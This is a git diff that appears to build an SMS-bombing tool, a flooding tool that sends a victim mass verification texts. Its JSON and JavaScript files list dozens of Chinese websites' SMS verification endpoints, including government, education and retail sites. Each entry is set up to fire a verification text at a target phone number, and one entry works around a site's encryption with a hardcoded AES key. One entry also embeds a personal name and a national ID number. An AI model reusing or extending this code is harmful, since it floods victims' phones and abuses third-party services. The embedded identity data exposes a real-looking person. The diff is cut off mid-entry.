diff --git a/api.json b/api.json index 6540ace..a32c45c 100644 --- a/api.json +++ b/api.json @@ -83,5 +83,484 @@ "method": "GET", "header": "", "data": "" + }, + { + "desc": "迪卡侬", + "url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", + "method": "POST", + "header": "", + "data": { + "countryCode": "CN", + "mobile": "[phone]" + } + }, + { + "desc": "股海网", + "url": "https://www.guhai.com.cn/front/member/sendSmsCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "LLL的个人blog", + "url": "http://www.lll.plus/sendCode/", + "method": "POST", + "header": "", + "data": { + "tel": "[phone]", + "forgetPwd": "" + } + }, + { + "desc": "企米子", + "url": "https://www.xcxui.com/index/register/getcode.html", + "method": "POST", + "header": "", + "data": { + "tel": "[phone]" + } + }, + { + "desc": "蒲公英", + "url": "https://id.pgyer.com/user/getRegisterCode", + "method": "POST", + "header": "", + "data": { + "tel": "[phone]", + "callingCode": "86", + "mode": "tel" + } + }, + { + "desc": "百卓优采", + "url": "https://erp.abiz.com/mobilecode/sendMobileCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "captcha": "" + } + }, + { + "desc": "云背篓", + "url": "https://brand.yunbeilou.com/index.php/smssend", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "v": "yes" + } + }, + { + "desc": "PHP中文网", + "url": "https://m.php.cn/account/phone_code.html", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "12321", + "url": "http://dhba.12321.cn/api/verifycode", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "Testin众测", + "url": "https://www.ztestin.com/users/send/vercode", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "type": "register", + "voice": "0" + } + }, + { + "desc": "海尔", + "url": "http://maker.haier.net/client/user/sendregistervcode.html", + "method": "POST", + "header": "", + "data": { + "account": "[phone]" + } + }, + { + "desc": "飞猫云", + "url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg", + "method": "POST", + "header": "", + "data": { + "pcode": "+86", + "phone": "[phone]" + } + }, + { + "desc": "华觉数字化平台", + "url": "https://end.huajuetech.com/api/sendCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "email": "null", + "verfy_method": "mobile" + } + }, + { + "desc": "问政江西", + "url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "河南智慧党建", + "url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "verifytype": "1" + } + }, + { + "desc": "陆陆陆云安全", + "url": "https://cloud.666idc.com/index/login/sendsms.html", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "mobile_pre": "86" + } + }, + { + "desc": "网易", + "url": "https://dz.blizzard.cn/action/user/mobile/captcha", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "码云社", + "url": "https://www.codeseeding.com/loginUser/toSend", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "人才山东", + "url": "http://sso.rcsd.cn/regist/getVerifyCode", + "method": "POST", + "header": "", + "data": { + "personcall": "[phone]" + } + }, + { + "desc": "水利部", + "url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "七联大学", + "url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode", + "method": "POST", + "header": "", + "data": { + "phoneNumber": "[phone]", + "sendType": "0" + } + }, + { + "desc": "闪德资讯", + "url": "https://www.0101ssd.com/user/sendmsg", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "event": "register" + } + }, + { + "desc": "江苏省名师空中课堂", + "url": "https://mskzkt.jse.edu.cn/baseApi/user/code/", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "type": "1" + } + }, + { + "desc": "CSFF短片", + "url": "https://csff.cutv.com/wapi/users/sendregcode", + "method": "POST", + "header": "", + "data": { + "telphone": "[phone]" + } + }, + { + "desc": "广西人社厅", + "url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx", + "method": "POST", + "header": "", + "data": { + "aae005": "[phone]", + "aac003": "刘萌萌", + "aac002": "210212198506035924", + "notkeyflag": "1" + } + }, + { + "desc": "麦克赛尔数字映像", + "url": "https://www.maxell-dm.cn/Code/CheckImage.aspx", + "method": "POST", + "header": "", + "data": { + "action": "send", + "txtMember_Name": "[phone]" + } + }, + { + "desc": "宝提分", + "url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "选型系统", + "url": "http://www.cnppump.ltd/Service/UserHandler.ashx", + "method": "GET", + "header": "", + "data": { + "cmd": "GetTelVerifyCode", + "Tel": "[phone]" + } + }, + { + "desc": "千里马网信科技", + "url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code", + "method": "POST", + "header": "", + "data": { + "tips": "1", + "shouji": "[phone]" + } + }, + { + "desc": "保定云", + "url": "https://baodingyun.com.cn/register/send_registerSMS.html", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "欢动游戏", + "url": "http://www.gm5.com/auth/registerSms.html", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "迈威", + "url": "https://www.maiwe.com.cn/index/sendcode.html", + "method": "GET", + "header": "", + "data": { + "tel": "[phone]" + } + }, + { + "desc": "憨鼠社区", + "url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "天鹅到家", + "url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "诺达筑工", + "url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "栋才智慧", + "url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "工伤预防网上培训平台", + "url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "济宁专技", + "url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "sendType": "4" + } + }, + { + "desc": "宁夏伊地地质工程有限公司", + "url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "青春大学说", + "url": "http://zycp.qcdxs.com:5001/sms/sendsms", + "method": "POST", + "header": "", + "data": { + "phone_number": "[phone]" + } + }, + { + "desc": "兴业利达电子招投标平台", + "url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms", + "method": "POST", + "header": "", + "data": { + "username": "[phone]", + "type": "regUser", + "mobile": "PC" + } + }, + { + "desc": "火象", + "url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms", + "method": "POST", + "header": "", + "data": { + "temp": "1", + "phone": "[phone]" + } + }, + { + "desc": "中科教育", + "url": "https://www.vipexam.cn/user/identifyingCode.action", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "聚题库", + "url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "苏州高新区教育局", + "url": "https://jssnd.edu.cn/apiu/v1/register/auth", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "专业技术人员继续教育平台", + "url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "泰安专技", + "url": "https://sdta-web.yxlearning.com/sendphoneCode.gson", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "sendType": "4" + } + }, + { + "desc": "志睿择", + "url": "https://www.vipexam.cn/user/identifyingCode.action", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "漏洞银行", + "url": "https://www.bugbank.cn/api/verifymobile", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "中国劳动保障新闻网", + "url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "广东省心理学会", + "url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "费耘网", + "url": "https://www.feeclouds.com/homepage/register/send", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } } ] \ No newline at end of file diff --git a/api.db b/debug/api.db similarity index 100% rename from api.db rename to debug/api.db diff --git a/debug/api.js b/debug/api.js new file mode 100644 index 0000000..0d38f6f --- /dev/null +++ b/debug/api.js @@ -0,0 +1,868 @@ +/** + * 第三方网站短信接口 + * 最后更新:2022-04-12 + * @type {*[]} + */ + var requestList = [ + { + name: '工图网', + fn: function (phone) { + $.ajax({ + url: "http://www.900ppt.com/api/login/getSmsCode", + data: { + phone: phone, + easy: 1 + }, + type: "GET", + dataType: "json", + }); + } + }, + { + name: '少儿编程', + fn: function (phone) { + $.ajax({ + url: "http://test.marketing.i.vipcode.com/api/marketing/dataStatistics/sendCode", + type: "POST", + data: {phone: phone,}, + dataType: "json", + }) + } + }, + { + name: '泰康在线', + fn: function (phone) { + function encrypt(data) { + var key = CryptoJS.enc.Utf8.parse("AE74AF98D6BF55BF"); + var srcs = CryptoJS.enc.Utf8.parse(data); + var encrypted = CryptoJS.AES.encrypt(srcs, key, { + mode: CryptoJS.mode.ECB, + padding: CryptoJS.pad.Pkcs7 + }); + return encrypted + ""; + } + + phone = encodeURIComponent(encrypt(phone)) + $.ajax({ + 'url': 'http://ecs.tk.cn/eservice/member/login', + 'type': 'POST', + 'data': 'syn=Y&functioncode=getmark&mobile=' + phone, + 'dataType': 'json', + }); + } + }, + { + name: '千库编辑', + fn: function (phone) { + $.ajax({ + url: 'https://editor.588ku.com/site-api/send-tel-login-code', + type: 'GET', + data: { + num: phone, + }, + async: false + }); + } + }, + { + name: "编程猫", + fn: function (phone) { + $.ajax({ + url: 'https://open-service.codemao.cn/captcha/rule', + contentType: "application/json;charset=UTF-8", + type: 'POST', + data: '{"deviceId": "89b5cb3b00a910b2a123d882a6255caf", "identity": "' + phone + '", "pid": "4ceH5ekc", "timestamp": 1614589965}', + dataType: 'json', + success: function (data) { + $.ajax({ + url: 'https://api-marketing.codemao.cn/admin/marketing/sms/captcha/new', + contentType: "application/json;charset=UTF-8", + type: 'POST', + data: '{"app_id":"", "phone_number": "' + phone + '", "ticket": "' + data.ticket + '"}', + dataType: 'json', + }) + } + }) + } + }, + { + name: '迪卡侬', + fn: function (phone) { + $.ajax({ + url: "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", + type: "POST", + data: {"countryCode": "CN", "mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '股海网', + fn: function (phone) { + $.ajax({ + url: "https://www.guhai.com.cn/front/member/sendSmsCode", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: 'LLL的个人blog', + fn: function (phone) { + $.ajax({ + url: "http://www.lll.plus/sendCode/", + type: "POST", + data: {"tel": phone, "forgetPwd": ""}, + dataType: "json", + }) + } + }, + { + name: '企米子', + fn: function (phone) { + $.ajax({ + url: "https://www.xcxui.com/index/register/getcode.html", + type: "POST", + data: {"tel": phone}, + dataType: "json", + }) + } + }, + { + name: '蒲公英', + fn: function (phone) { + $.ajax({ + url: "https://id.pgyer.com/user/getRegisterCode", + type: "POST", + data: {"tel": phone, "callingCode": "86", "mode": "tel"}, + dataType: "json", + }) + } + }, + { + name: '百卓优采', + fn: function (phone) { + $.ajax({ + url: "https://erp.abiz.com/mobilecode/sendMobileCode", + type: "POST", + data: {"mobile": phone, "captcha": ""}, + dataType: "json", + }) + } + }, + { + name: '云背篓', + fn: function (phone) { + $.ajax({ + url: "https://brand.yunbeilou.com/index.php/smssend", + type: "POST", + data: {"phone": phone, "v": "yes"}, + dataType: "json", + }) + } + }, + { + name: 'PHP中文网', + fn: function (phone) { + $.ajax({ + url: "https://m.php.cn/account/phone_code.html", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '12321', + fn: function (phone) { + $.ajax({ + url: "http://dhba.12321.cn/api/verifycode", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: 'Testin众测', + fn: function (phone) { + $.ajax({ + url: "https://www.ztestin.com/users/send/vercode", + type: "POST", + data: {"phone": phone, "type": "register", "voice": "0"}, + dataType: "json", + }) + } + }, + { + name: '海尔', + fn: function (phone) { + $.ajax({ + url: "http://maker.haier.net/client/user/sendregistervcode.html", + type: "POST", + data: {"account": phone}, + dataType: "json", + }) + } + }, + { + name: '飞猫云', + fn: function (phone) { + $.ajax({ + url: "https://www.feimaoyun.com/index.php/invite/h5sendmsg", + type: "POST", + data: {"pcode": "+86", "phone": phone}, + dataType: "json", + }) + } + }, + { + name: '觉数字化平台', + fn: function (phone) { + $.ajax({ + url: "https://end.huajuetech.com/api/sendCode", + type: "POST", + data: {"mobile": phone, "email": "null", "verfy_method": "mobile"}, + dataType: "json", + }) + } + }, + { + name: '问政江西', + fn: function (phone) { + $.ajax({ + url: "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '河南智慧党建', + fn: function (phone) { + $.ajax({ + url: "http://api.hndyjyfw.gov.cn/djapi/mobileVerify", + type: "POST", + data: {"phone": phone, "verifytype": "1"}, + dataType: "json", + }) + } + }, + { + name: '陆陆陆云安全', + fn: function (phone) { + $.ajax({ + url: "https://cloud.666idc.com/index/login/sendsms.html", + type: "POST", + data: {"mobile": phone, "mobile_pre": "86"}, + dataType: "json", + }) + } + }, + { + name: '网易', + fn: function (phone) { + $.ajax({ + url: "https://dz.blizzard.cn/action/user/mobile/captcha", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '码云社', + fn: function (phone) { + $.ajax({ + url: "https://www.codeseeding.com/loginUser/toSend", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '人才山东', + fn: function (phone) { + $.ajax({ + url: "http://sso.rcsd.cn/regist/getVerifyCode", + type: "POST", + data: {"personcall": phone}, + dataType: "json", + }) + } + }, + { + name: '水利部', + fn: function (phone) { + $.ajax({ + url: "http://sso.mwr.cn/suserRegister/verifyAccountAndPhone.action", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '七联大学', + fn: function (phone) { + $.ajax({ + url: "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode", + type: "POST", + data: {"phoneNumber": phone, "sendType": "0"} + }) + } + }, + { + name: '闪德资讯', + fn: function (phone) { + $.ajax({ + url: "https://www.0101ssd.com/user/sendmsg", + type: "POST", + data: {"mobile": phone, "event": "register"}, + dataType: "json", + }) + } + }, + { + name: '江苏省名师空中课堂', + fn: function (phone) { + $.ajax({ + url: "https://mskzkt.jse.edu.cn/baseApi/user/code/", + type: "POST", + data: {"mobile": phone, "type": "1",}, + dataType: "json", + }) + } + }, + { + name: 'CSFF短片', + fn: function (phone) { + $.ajax({ + url: "https://csff.cutv.com/wapi/users/sendregcode", + type: "POST", + data: {"telphone": phone}, + dataType: "json", + }) + } + }, + { + name: '广西人社厅', + fn: function (phone) { + $.ajax({ + url: "http://rswb.gx12333.net/member/getRegisterPhoneCode.jspx", + type: "POST", + data: {"aae005": phone, "aac003": "刘萌萌", "aac002": "210212198506035924", "notkeyflag": "1"}, + dataType: "json", + }) + } + }, + { + name: '麦克赛尔数字映像', + fn: function (phone) { + $.ajax({ + url: "https://www.maxell-dm.cn/Code/CheckImage.aspx", + type: "POST", + data: {"action": "send", "txtMember_Name": phone}, + dataType: "json", + }) + } + }, + { + name: '宝提分', + fn: function (phone) { + $.ajax({ + url: "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '选型系统', + fn: function (phone) { + $.ajax({ + url: "http://www.cnppump.ltd/Service/UserHandler.ashx", + type: "GET", + data: {"cmd": "GetTelVerifyCode", "Tel": phone}, + dataType: "json", + }) + } + }, + { + name: '千里马网信科技', + fn: function (phone) { + $.ajax({ + url: "http://vip.qianlima.com/rest/u/api/user/register/mobile/code", + type: "POST", + data: {"tips": "1", "shouji": phone}, + dataType: "json", + }) + } + }, + { + name: '保定云', + fn: function (phone) { + $.ajax({ + url: "https://baodingyun.com.cn/register/send_registerSMS.html", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '欢动游戏', + fn: function (phone) { + $.ajax({ + url: "http://www.gm5.com/auth/registerSms.html", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '迈威', + fn: function (phone) { + $.ajax({ + url: "https://www.maiwe.com.cn/index/sendcode.html", + type: "GET", + data: {"tel": phone}, + dataType: "json", + }) + } + }, + { + name: '憨鼠社区', + fn: function (phone) { + $.ajax({ + url: "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getPhoneVerify&type=signup&phone="+phone+"&areaCode=86", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '天鹅到家', + fn: function (phone) { + $.ajax({ + url: "https://user.daojia.com/mobile/getcode?mobile="+phone+"&newVersion=1&bu=112", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '诺达筑工', + fn: function (phone) { + $.ajax({ + url: "http://ks.ndzhugong.com/getVerificationCode?phone="+phone+"&password=&smscode=", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '栋才智慧', + fn: function (phone) { + $.ajax({ + url: "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?phone="+phone+"&smsMode=2", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '工伤预防网上培训平台', + fn: function (phone) { + $.ajax({ + url: "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile="+phone+"&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '济宁专技', + fn: function (phone) { + $.ajax({ + url: "https://sdjn-web.yxlearning.com/sendPhoneCode.gson", + type: "POST", + data: {"phone": phone, "sendType": "4"}, + dataType: "json", + }) + } + }, + { + name: '宁夏伊地地质工程有限公司', + fn: function (phone) { + $.ajax({ + url: "http://www.yddzgc.com/bid-app/api/sys/code?phone="+phone+"&type=1", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '青春大学说', + fn: function (phone) { + $.ajax({ + url: "http://zycp.qcdxs.com:5001/sms/sendsms", + type: "POST", + data: {"phone_number": phone}, + dataType: "json", + }) + } + }, + { + name: '兴业利达电子招投标平台', + fn: function (phone) { + $.ajax({ + url: "https://user.daojia.com/mobile/getcode?mobile="+phone+"&newVersion=1&bu=112", + type: "POST", + data: {"username": phone, "type": "regUser", "mobile": "PC"}, + dataType: "json", + }) + } + }, + { + name: '火象', + fn: function (phone) { + $.ajax({ + url: "https://v1.alphazone-data.cn/academy/api/v1/sendsms", + type: "POST", + data: {"temp": "1", "phone": phone}, + dataType: "json", + }) + } + }, + { + name: '中科教育', + fn: function (phone) { + $.ajax({ + url: "https://www.vipexam.cn/user/identifyingCode.action", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '聚题库', + fn: function (phone) { + $.ajax({ + url: "https://uc.csdhe.com/v1/sms/send?mobile="+phone+"&apptype=examWeb", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '大广节', + fn: function (phone) { + $.ajax({ + url: "http://47.103.35.255:510/api/Account/SendRestigerSms", + type: "POST", + data: {tel: phone}, + dataType: "json", + }) + } + }, + { + name: '选择山东云平台', + fn: function (phone) { + $.ajax({ + url: "http://israel.selectshandong.com/user/verification_code/send.html", + type: "POST", + data: {mobile: phone}, + dataType: "json", + }) + } + }, + { + name: '苏州高新区教育局', + fn: function (phone) { + $.ajax({ + url: "https://jssnd.edu.cn/apiu/v1/register/auth", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '专业技术人员继续教育平台', + fn: function (phone) { + $.ajax({ + url: "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile="+phone+"&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '泰安专技', + fn: function (phone) { + $.ajax({ + url: "https://sdta-web.yxlearning.com/sendPhoneCode.gson", + type: "POST", + data: {"phone": phone, "sendType": "4"}, + dataType: "json", + }) + } + }, + { + name: '志睿择', + fn: function (phone) { + $.ajax({ + url: "https://www.vipexam.cn/user/identifyingCode.action", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '漏洞银行', + fn: function (phone) { + $.ajax({ + url: "https://www.bugbank.cn/api/verifymobile", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '中国劳动保障新闻网', + fn: function (phone) { + $.ajax({ + url: "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '金万维', + fn: function (phone) { + $.ajax({ + url: "https://www.kuaijiexi.com/sendPhoneMessage", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '广西大数据发展局', + fn: function (phone) { + $.ajax({ + url: "http://tyrz.zwfw.gxzf.gov.cn/portal/veryCode/smsCode", + type: "POST", + data: {"method":"sendMobileCode","userMobile":phone,"random":"1.2851343744474852"}, + dataType: "json", + }) + } + }, + { + name: '凤凰金刚网', + fn: function (phone) { + $.ajax({ + url: "https://api.shweina.com/sms/getCode?type=1&mobile="+phone+"&sms_id=1&_=1649572691296", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: 'SDTF', + fn: function (phone) { + $.ajax({ + url: "http://www.satdatafresh.com/Register_send.php", + type: "POST", + data: {phone: phone}, + dataType: "json", + }) + } + }, + { + name: 'UCG', + fn: function (phone) { + $.ajax({ + url: "http://api.ucg.cn/api/account/get_code", + type: "POST", + data: {phone: phone,type:1}, + dataType: "json", + }) + } + }, + { + name: '爱社区', + fn: function (phone) { + $.ajax({ + url: "http://testapi.wisq.cn/user/code?callback=jQuery1121043210507726688685_1649576168584&type=register&tel="+phone+"&_=1649576168585", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '费耘网', + fn: function (phone) { + $.ajax({ + url: "https://www.feeclouds.com/homepage/register/send", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: 'TCTY评测委员会', + fn: function (phone) { + $.ajax({ + url: "https://bth.educg.net/new_registration.do", + type: "POST", + data: {"op": "getvfycode",phone: phone}, + dataType: "json", + }) + } + }, + { + name: '中电仪器', + fn: function (phone) { + $.ajax({ + url: "https://ceyear.com/Cn/Member/get_code", + type: "POST", + data: {phone: phone}, + dataType: "json", + }) + } + }, + { + name: '航运e家', + fn: function (phone) { + $.ajax({ + url: "http://co.hangyunejia.com/v1/account/sendregphonecode", + type: "POST", + data: {phone: phone}, + dataType: "json", + }) + } + }, + { + name: '赛客呼吸', + fn: function (phone) { + $.ajax({ + url: "https://m.xeek.cn/api/common/CheckCode/index.html", + type: "POST", + data: {"action":"register","account":phone,"accountType":"3"}, + dataType: "json", + }) + } + }, + { + name: '佛山政务短信平台', + fn: function (phone) { + $.ajax({ + url: "https://fsjf.fslgb.gov.cn/servlet/user", + type: "POST", + data: {"type":"getCode","certificate":"","phone":phone,"opr":"注册"}, + dataType: "json", + }) + } + }, + { + name: '南京筑能网络科技有限公司', + fn: function (phone) { + $.ajax({ + url: "http://admina.pachongdaili.com:8080/SendSms/SendTemplateSMS.php", + type: "POST", + data: {"tel": phone}, + dataType: "json", + }) + } + }, + { + name: '四川宝石花', + fn: function (phone) { + $.ajax({ + url: "http://119.4.40.32:10010/ctl/member/register/registerRandom?mobile="+phone+"&_=1649516272801", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '赛日速配', + fn: function (phone) { + $.ajax({ + url: "https://sporax.com.cn/Login/sms", + type: "POST", + data: {"Mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '乐思无限', + fn: function (phone) { + $.ajax({ + url: "http://sid.mk315.cn/index/register/getcode.html", + type: "POST", + data: {"tel": phone}, + dataType: "json", + }) + } + }, + { + name: '宁波材料所', + fn: function (phone) { + $.ajax({ + url: "https://recruit.nimte.ac.cn/api/recruit/action.php?action=getcode&mobile="+phone+"&verifycode=[object%20HTMLInputElement]", + type: "POST", + data: {}, + dataType: "json", + }) + } + }, + { + name: '佬司机大宗商品交易', + fn: function (phone) { + $.ajax({ + url: "http://www.laosjgyl.com/register/sendCaptcha", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '广东省心理学会', + fn: function (phone) { + $.ajax({ + url: "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + } +] \ No newline at end of file diff --git a/debug/api_tou.json b/debug/api_tou.json new file mode 100644 index 0000000..b605e7d --- /dev/null +++ b/debug/api_tou.json @@ -0,0 +1,481 @@ +[ + { + "desc": "迪卡侬", + "url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", + "method": "POST", + "header": "", + "data": { + "countryCode": "CN", + "mobile": "[phone]" + } + }, + { + "desc": "股海网", + "url": "https://www.guhai.com.cn/front/member/sendSmsCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "LLL的个人blog", + "url": "http://www.lll.plus/sendCode/", + "method": "POST", + "header": "", + "data": { + "tel": "[phone]", + "forgetPwd": "" + } + }, + { + "desc": "企米子", + "url": "https://www.xcxui.com/index/register/getcode.html", + "method": "POST", + "header": "", + "data": { + "tel": "[phone]" + } + }, + { + "desc": "蒲公英", + "url": "https://id.pgyer.com/user/getRegisterCode", + "method": "POST", + "header": "", + "data": { + "tel": "[phone]", + "callingCode": "86", + "mode": "tel" + } + }, + { + "desc": "百卓优采", + "url": "https://erp.abiz.com/mobilecode/sendMobileCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "captcha": "" + } + }, + { + "desc": "云背篓", + "url": "https://brand.yunbeilou.com/index.php/smssend", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "v": "yes" + } + }, + { + "desc": "PHP中文网", + "url": "https://m.php.cn/account/phone_code.html", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "12321", + "url": "http://dhba.12321.cn/api/verifycode", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "Testin众测", + "url": "https://www.ztestin.com/users/send/vercode", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "type": "register", + "voice": "0" + } + }, + { + "desc": "海尔", + "url": "http://maker.haier.net/client/user/sendregistervcode.html", + "method": "POST", + "header": "", + "data": { + "account": "[phone]" + } + }, + { + "desc": "飞猫云", + "url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg", + "method": "POST", + "header": "", + "data": { + "pcode": "+86", + "phone": "[phone]" + } + }, + { + "desc": "华觉数字化平台", + "url": "https://end.huajuetech.com/api/sendCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "email": "null", + "verfy_method": "mobile" + } + }, + { + "desc": "问政江西", + "url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "河南智慧党建", + "url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "verifytype": "1" + } + }, + { + "desc": "陆陆陆云安全", + "url": "https://cloud.666idc.com/index/login/sendsms.html", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "mobile_pre": "86" + } + }, + { + "desc": "网易", + "url": "https://dz.blizzard.cn/action/user/mobile/captcha", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "码云社", + "url": "https://www.codeseeding.com/loginUser/toSend", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "人才山东", + "url": "http://sso.rcsd.cn/regist/getVerifyCode", + "method": "POST", + "header": "", + "data": { + "personcall": "[phone]" + } + }, + { + "desc": "水利部", + "url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "七联大学", + "url": 